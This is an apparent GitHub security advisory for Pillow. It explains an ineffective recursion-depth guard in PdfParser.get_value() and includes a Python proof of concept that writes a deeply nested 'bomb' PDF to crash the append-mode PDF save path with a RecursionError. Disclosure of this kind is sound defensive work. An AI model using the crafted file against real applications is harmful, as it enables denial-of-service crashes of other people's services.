GHSA-254f-3936-288hMedium

Pillow: PdfParser can recurse without limit in get_value() and linearize_page_tree()

Published
October 21, 2026
Last Modified
October 21, 2026

🔗 CVE IDs covered (1)

📋 Description

Summary

PdfParser's get_value() can recurse without any limit and crash with an uncaught RecursionError. It is reachable through Image.save(im, fp=<pdf>, format="PDF", append=True) when the existing PDF file is attacker-controlled. This is the same class of bug as https://github.com/advisories/GHSA-r73j-pqj5-w3x7 (the /Prev trailer chain loop, fixed earlier this year), in the same file, but in two different functions that fix did not touch.

Details

get_value() in src/PIL/PdfParser.py

This is a classmethod that takes max_nesting: int = -1 and has a guard:

if max_nesting == 0:
    return None, None

Every recursive call (nested arrays, dictionaries, indirect object definitions) passes max_nesting=max_nesting - 1. Since the default and every call site start at -1, this only ever counts down further negative: -1, -2, -3, and so on. It never equals exactly 0, so the guard never runs. A PDF object with a value nested a few thousand levels deep is enough to hit Python's recursion limit. It does not even need a valid /Pages tree, since read_pdf_info() parses the /Root object's own dictionary first, before checking anything else.

This advisory reports a single vulnerability: an ineffective recursion-depth guard in PdfParser.get_value() (the sentinel -1 default never reaches the == 0 check). The mention of GHSA-r73j-pqj5-w3x7 is comparative context for an already-fixed, already-CVE'd bug in a different function — it is not a second vulnerability being reported. The three trigger paths (nested arrays/dicts/indirect objects) are not independently fixable; they share one root cause and one fix location in get_value() .

Steps to reproduce

Both PDFs below are plain text, built directly in Python, no PDF library needed.

from PIL.PdfParser import PdfParser

def build_pdf(root):
    out = bytearray(b"%PDF-1.4\n")
    offset = len(out)
    out += f"1 0 obj\n".encode()
    out += root
    out += b"\nendobj\n"
    out += b"xref\n"
    out += f"0 2\n".encode()
    out += b"0000000000 65535 f \n"
    out += f"{offset:010d} 00000 ".encode() + b"n \n"
    xref_offset = len(out)
    out += b"xref\n"
    out += f"0 2\n".encode()
    out += b"0000000000 65535 f \n"
    out += f"{offset:010d} 00000 ".encode() + b"n \n"
    out += b"trailer\n"
    out += f"<< /Size 2 /Root 1 0 R >>\n".encode()
    out += b"startxref\n"
    out += f"{xref_offset}\n".encode()
    out += b"%%EOF"
    return bytes(out)

bomb = b"[" * 3000 + b"]" * 3000
root = b"<< /Type /Catalog /Pages 2 0 R /Bomb " + bomb + b" >>"
with open("nesting_bomb.pdf", "wb") as f:
    f.write(build_pdf(root))

PdfParser("nesting_bomb.pdf")     # raises RecursionError

Expected: a clean PdfFormatError.

Actual: raises a raw RecursionError: maximum recursion depth exceeded.

Impact

  • Availability: an attacker who controls the content of a PDF file that an application later appends an image page to (Image.save(..., format="PDF", append=True)) can crash that request with a RecursionError, using a file of a few hundred bytes.
  • Confidentiality: none.
  • Integrity: none.
  • Pillow cannot open PDFs for reading through Image.open(). PdfParser is only reached through the append-mode save path, so the app has to be doing that specific thing (for example, stamping or watermarking an existing PDF) for this to matter.

🎯 Affected products1

  • pip/Pillow:>= 5.1.0, < 13.0.0

🔗 References (5)